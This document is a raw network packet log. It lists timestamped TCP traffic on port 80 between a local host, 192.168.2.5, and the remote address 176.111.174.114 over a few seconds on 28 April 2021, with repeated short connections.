Apr 28, 2021 23:26:09.627892017 CEST	80	50615	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.627998114 CEST	50615	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.628473043 CEST	50615	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.629569054 CEST	80	50613	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.629643917 CEST	50613	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.716598988 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.716675043 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.716710091 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.716777086 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.716825008 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.716888905 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717068911 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717101097 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717139959 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717178106 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717192888 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717204094 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717251062 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717329025 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717379093 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717434883 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717562914 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717577934 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717590094 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717606068 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717612028 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717653990 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717670918 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717784882 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.717870951 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.717943907 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.718025923 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.718137980 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.718183994 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.718214989 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.718245983 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.718350887 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.718441963 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.718502998 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.718666077 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.723629951 CEST	80	50615	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.727706909 CEST	80	50615	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.727835894 CEST	50615	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.815551996 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.815579891 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.815587997 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.815593958 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.815604925 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.815733910 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816075087 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816266060 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816287041 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816303968 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816378117 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816394091 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816406965 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816765070 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816931009 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816973925 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.816986084 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.817133904 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.817150116 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.817162037 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.817209959 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.817783117 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.818419933 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.818432093 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.818574905 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.818974972 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.821176052 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.821355104 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.843842030 CEST	50615	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.844929934 CEST	50617	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.918831110 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.918939114 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.939126015 CEST	80	50615	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.939239025 CEST	50615	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.940361977 CEST	80	50617	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.940491915 CEST	50617	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.941133022 CEST	50617	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.039000034 CEST	80	50617	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.042908907 CEST	80	50617	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.043049097 CEST	50617	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.157968044 CEST	50617	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.163216114 CEST	50618	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.253681898 CEST	80	50617	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.253781080 CEST	50617	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.256292105 CEST	80	50618	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.256414890 CEST	50618	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.257344007 CEST	50618	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.353413105 CEST	80	50618	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.357172012 CEST	80	50618	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.357331991 CEST	50618	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.470007896 CEST	50618	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.473387957 CEST	50619	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.564841986 CEST	80	50618	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.564975977 CEST	50618	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.570672989 CEST	80	50619	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.570902109 CEST	50619	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.571696997 CEST	50619	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.666759014 CEST	80	50619	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.670831919 CEST	80	50619	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.671106100 CEST	50619	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.785989046 CEST	50619	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.787214994 CEST	50620	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.880976915 CEST	80	50619	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.881175041 CEST	50619	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.888055086 CEST	80	50620	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.888997078 CEST	50620	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.889012098 CEST	50620	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:10.992455006 CEST	80	50620	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.996210098 CEST	80	50620	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:10.999705076 CEST	50620	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.109800100 CEST	50620	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.111233950 CEST	50622	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.210880041 CEST	80	50620	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.211899042 CEST	50620	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.215054989 CEST	80	50622	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.215514898 CEST	50622	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.216485977 CEST	50622	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.320770979 CEST	80	50622	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.324484110 CEST	80	50622	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.327694893 CEST	50622	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.438152075 CEST	50622	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.439347029 CEST	50623	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.532938004 CEST	80	50623	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.533086061 CEST	50623	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.533751011 CEST	50623	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.544065952 CEST	80	50622	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.544172049 CEST	50622	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.627710104 CEST	80	50623	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.631464005 CEST	80	50623	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.631736040 CEST	50623	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.736954927 CEST	50623	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.739761114 CEST	50624	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.830857992 CEST	80	50623	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.831056118 CEST	50623	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.834827900 CEST	80	50624	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.834985018 CEST	50624	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.836253881 CEST	50624	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:11.933881998 CEST	80	50624	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.937320948 CEST	80	50624	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:11.937520027 CEST	50624	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.048515081 CEST	50624	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.050122976 CEST	50625	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.126591921 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.145407915 CEST	80	50624	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.146084070 CEST	50624	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.148041010 CEST	80	50625	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.148238897 CEST	50625	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.149352074 CEST	50625	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.226064920 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.226166964 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.226469040 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.246176958 CEST	80	50625	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.250638008 CEST	80	50625	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.250711918 CEST	50625	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.325917959 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.325965881 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.326131105 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.326158047 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.326201916 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.326241016 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.326260090 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.326323986 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.361867905 CEST	50625	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.363059044 CEST	50627	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.425734043 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.425759077 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.425815105 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.425827980 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.425851107 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.425899029 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.425934076 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.426418066 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.426453114 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.426486969 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.426491976 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.426511049 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.426537037 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.426582098 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.426640987 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.426661968 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.426714897 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.427242994 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.427323103 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.458990097 CEST	80	50625	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.459095001 CEST	50625	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.461455107 CEST	80	50627	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.461551905 CEST	50627	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.462069035 CEST	50627	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.525366068 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.525439978 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.525479078 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.525486946 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.525510073 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.525532007 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.525541067 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.525593042 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.525634050 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.525810957 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.525886059 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.526000023 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.526026011 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.526051044 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.526081085 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.526138067 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.526161909 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.526262045 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.526292086 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.526359081 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.526379108 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.526403904 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.526772022 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.560930014 CEST	80	50627	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.564995050 CEST	80	50627	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.565093994 CEST	50627	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.627180099 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627221107 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627254963 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627275944 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627299070 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627733946 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627836943 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.627994061 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.628565073 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.629090071 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.629195929 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.629322052 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.629971981 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.630467892 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.630496979 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.630686045 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.631243944 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.631263018 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.632878065 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.633137941 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.672447920 CEST	50627	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.673574924 CEST	50629	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.732882023 CEST	80	50626	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.732975960 CEST	50626	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.766458988 CEST	80	50629	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.766932964 CEST	50629	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.767518997 CEST	50629	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.770458937 CEST	80	50627	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.771666050 CEST	50627	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.861608982 CEST	80	50629	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.864948988 CEST	80	50629	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:12.865211010 CEST	50629	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.970299006 CEST	50629	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:12.972361088 CEST	50630	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.063209057 CEST	80	50629	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.063306093 CEST	50629	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.065783978 CEST	80	50630	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.065952063 CEST	50630	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.066714048 CEST	50630	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.162039995 CEST	80	50630	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.166194916 CEST	80	50630	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.166363955 CEST	50630	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.287687063 CEST	50630	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.290901899 CEST	50631	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.382563114 CEST	80	50630	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.382791996 CEST	50630	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.388638973 CEST	80	50631	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.389518023 CEST	50631	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.389971018 CEST	50631	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.485316038 CEST	80	50631	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.489571095 CEST	80	50631	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.491971970 CEST	50631	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.595426083 CEST	50631	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.597898960 CEST	50632	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.692037106 CEST	80	50631	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.692852020 CEST	50631	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.694438934 CEST	80	50632	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.694619894 CEST	50632	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.696114063 CEST	50632	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.794486046 CEST	80	50632	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.798615932 CEST	80	50632	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:13.798785925 CEST	50632	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.907697916 CEST	50632	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:13.909261942 CEST	50634	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.003046036 CEST	80	50632	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.003417015 CEST	50632	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.008194923 CEST	80	50634	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.008344889 CEST	50634	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.009922981 CEST	50634	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.108988047 CEST	80	50634	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.112823009 CEST	80	50634	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.113030910 CEST	50634	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.220158100 CEST	50634	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.223221064 CEST	50635	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.319099903 CEST	80	50634	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.319232941 CEST	50634	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.323378086 CEST	80	50635	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.324578047 CEST	50635	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.324771881 CEST	50635	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.424483061 CEST	80	50635	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.428698063 CEST	80	50635	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.429203033 CEST	50635	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.533143997 CEST	50635	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.535650969 CEST	50636	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.631321907 CEST	80	50636	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.631426096 CEST	50636	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.632041931 CEST	50636	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.632677078 CEST	80	50635	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.632764101 CEST	50635	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.727880001 CEST	80	50636	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.731304884 CEST	80	50636	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.732120037 CEST	50636	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.848129034 CEST	50636	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.862693071 CEST	50637	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.943890095 CEST	80	50636	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.944044113 CEST	50636	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.959862947 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.962641001 CEST	80	50637	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:14.962835073 CEST	50637	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:14.963551998 CEST	50637	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.056572914 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.056742907 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.057276011 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.064280987 CEST	80	50637	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.068630934 CEST	80	50637	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.068824053 CEST	50637	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.152359009 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.152389050 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.152398109 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.152472019 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.152493954 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.152534008 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.152575970 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.189418077 CEST	50637	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.190893888 CEST	50639	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.247575045 CEST	80	50638	176.111.174.114	192.168.2.5
